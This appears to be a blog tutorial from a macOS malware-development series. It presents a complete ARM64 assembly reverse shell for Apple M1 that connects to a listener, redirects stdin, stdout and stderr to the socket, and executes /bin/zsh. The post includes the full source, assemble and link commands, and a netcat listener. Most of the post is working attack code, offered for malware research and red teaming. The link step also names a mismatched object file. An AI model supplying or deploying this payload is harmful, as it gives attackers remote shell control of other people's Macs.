6 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In the previous post, our bind shell for M1 worked flawlessly. But when you switch from bind() to connect(), suddenly nothing happens.
Same syscalls, same logic - but connect silently fails. Why?
Because Darwin (BSD) cares about how you pack your sockaddr_in: sin_len, big-endian port, and stable address pointers. Miss one byte - and the syscall collapses.

few words about bind and reverse shell in ARM M1

So, in the other words, the bind-shell we already have works because it avoids two fragile things: a remote address and precise byte layout. Binding to INADDR_ANY is forgiving. Connecting requires a 16-byte struct sockaddr_in with a correct sin_len, sin_family, network-order port, and a pointer that survives relocations. On Darwin (BSD) sin_len is not optional; endianness mistakes silently break connect. Also, building the structure in registers with many movk/lsl operations is brittle across pages and relocations - use .data + adrp/add for a predictable pointer. That’s the practical rule you’ll see repeated in this post.

practical example

Let’s create simple reverse shell. Start in _main (or _start if you link differently). The code uses BSD syscall numbers that matched our working bind example: 97 for socket, 98 for connect, 90 for dup2, 59 for execve. These syscalls expect conventional arm64 argument/return behavior: x0..x7 for args, x0 for return.

So, we start as usual, open a TCP socket with socket(AF_INET, SOCK_STREAM, 0):

; create socket: socket(AF_INET, SOCK_STREAM, 0)
mov     x0, #2
mov     x1, #1
mov     x2, xzr
mov     x16, #97
svc     #0xffff
; check result in x0 (>=0)
cmp     x0, #0
blt     _exit_fail

; save socket fd
mov     x19, x0

BSD uses syscall 97 for socket. Return value in x0 - negative means error. Store the socket FD in x19, which is callee-saved and safe across syscalls.

Then we need to prepare sockaddr_in. This is where most connect PoCs die. On Linux you can omit sin_len; on macOS you can’t. The structure must be exactly 16 bytes:

malware

We place it directly in .data, not on the stack:

.data
sockaddr_in:
  .byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
.text

and reference it safely with ADRP/ADD:

; prepare pointer to sockaddr_in (use adrp/add)
adrp    x1, sockaddr_in@PAGE
add     x1, x1, sockaddr_in@PAGEOFF
mov     x2, #16          ; sizeof(struct sockaddr_in)

That gives a reloc-safe pointer to the structure, even if code and data land on different pages.

Then for connecting to the listener, we neede to call connect(sockfd, addr, len):

; connect(sockfd, addr, addrlen)
mov     x0, x19
mov     x16, #98          ; bsd syscall: connect (98)
svc     #0xffff
cmp     x0, #0
blt     _exit_fail

this connection logic returns 0 on success. If you forgot sin_len or mixed endian on the port, it fails silently. For example, typical lab error: writing 0x5C11 instead of 0x115C.

Once connected, all we need is I/O redirection:

; redirect stderr/stdout/stdin -> socket using dup2
; dup2(sock, 2)
mov     x0, x19
mov     x1, #2
mov     x16, #90
svc     #0xffff

; dup2(sock, 1)
mov     x0, x19
mov     x1, #1
; x16 already 90, but set again for clarity
mov     x16, #90
svc     #0xffff

; dup2(sock, 0)
mov     x0, x19
mov     x1, #0
mov     x16, #90
svc     #0xffff

After these three syscalls, stdin/out/err point to the network socket. Anything typed in the listener appears here.

Finally, launch the shell: build /bin/zsh on the stack and call execve:

; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
; push path
mov     x3, #0x622f             ; "/b"
movk    x3, #0x6e69, lsl#16     ; "in"
movk    x3, #0x7a2f, lsl#32     ; "/z"
movk    x3, #0x6873, lsl#48     ; "sh"
stp     x3, xzr, [sp, #-16]!    ; "/bin/zsh\0"

; argv = { path, NULL }
add     x0, sp, xzr             ; x0 = pointer to path
stp     x0, xzr, [sp, #-16]!    ; push argv array
add     x1, sp, xzr             ; x1 = argv
mov     x2, xzr                 ; envp = NULL

mov     x16, #59                ; execve (bsd syscall 59)
svc     #0xffff

If execve succeeds, this process image is replaced by zsh. If it returns, something broke, and we exit.

_exit_fail:
  mov     x0, #1
  bl      _exit

So, full source code looks like this hack.s:

; hack.s
; apple M1 ARM reverse shell
; author: cocomelonc
; https://cocomelonc.github.io/macos/2025/10/15/malware-mac-12.html

.text
.global _start
.align 2
.section  __TEXT,__text
  ; sockaddr_in for 127.0.0.1:4444
  ; memory layout (little-endian):
  ; sin_len (1), sin_family (1), sin_port (2 BE), sin_addr (4), sin_zero[8]
  .data
sockaddr_in:
  .byte 16, 2, 0x11, 0x5c, 127, 0, 0, 1, 0,0,0,0, 0,0,0,0
  .text

_start:
  ; create socket: socket(AF_INET, SOCK_STREAM, 0)
  mov     x0, #2
  mov     x1, #1
  mov     x2, xzr
  mov     x16, #97
  svc     #0xffff
  ; check result in x0 (>=0)
  cmp     x0, #0
  blt     _exit_fail

  ; save socket fd
  mov     x19, x0

  ; prepare pointer to sockaddr_in (use adrp/add)
  adrp    x1, sockaddr_in@PAGE
  add     x1, x1, sockaddr_in@PAGEOFF
  mov     x2, #16        ; address length

  ; connect(sockfd, addr, addrlen)
  mov     x0, x19
  mov     x16, #98       ; bsd syscall: connect (98)
  svc     #0xffff
  cmp     x0, #0
  blt     _exit_fail

  ; redirect stderr/stdout/stdin -> socket using dup2
  ; dup2(sock, 2)
  mov     x0, x19
  mov     x1, #2
  mov     x16, #90
  svc     #0xffff

  ; dup2(sock, 1)
  mov     x0, x19
  mov     x1, #1
  ; x16 already 90, but set again for clarity
  mov     x16, #90
  svc     #0xffff

  ; dup2(sock, 0)
  mov     x0, x19
  mov     x1, #0
  mov     x16, #90
  svc     #0xffff

  ; execve("/bin/zsh", ["/bin/zsh", NULL], NULL)
  ; push path
  mov     x3, #0x622f             ; "/b"
  movk    x3, #0x6e69, lsl#16     ; "in"
  movk    x3, #0x7a2f, lsl#32     ; "/z"
  movk    x3, #0x6873, lsl#48     ; "sh"
  stp     x3, xzr, [sp, #-16]!    ; "/bin/zsh\0"

  ; argv = { path, NULL }
  add     x0, sp, xzr             ; x0 = pointer to path
  stp     x0, xzr, [sp, #-16]!    ; push argv array
  add     x1, sp, xzr             ; x1 = argv
  mov     x2, xzr                 ; envp = NULL

  mov     x16, #59                ; execve (bsd syscall 59)
  svc     #0xffff

  ;if execve returns -> exit
_exit_fail:
  mov     x0, #1
  mov     x16, #1    ; exit syscall wrapper via libc _exit may differ
                     ; we call _exit via symbol below
                     ; call libc _exit to be safe
  bl      _exit

demo

Let’s go to see this in action. Compile:

as -arch arm64 hack.s -o hack.o

malware

then link:

ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)

malware

Then run listener in the first terminal:

nc -l -p 4444

malware

Then run in the another:

./hack

malware

As you can see, when the connection succeeds, you get an interactive zsh prompt inside nc.

Everything is worked perfectly as expected! =^..^=

conclusion

Reverse shells are the oldest trick in the offensive programming and malware dev. They appear in post-exploitation toolkits and stagers everywhere - from old Metasploit payloads to modern Cobalt Strike and Sliver beacons. The core pattern is always the same: connect, dup2 then execve("/bin/sh").

Of course, this isn’t a “perfect” reverse shell, but it’s functional and understandable. It can be further developed at your discretion. I might return to this in future posts.

I hope that this post is useful for malware R&D, shellcode development, and red teaming labs, Apple/Mac researchers and as always, for blue team specialists.

macOS hacking part 1
macOS hacking part 11
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine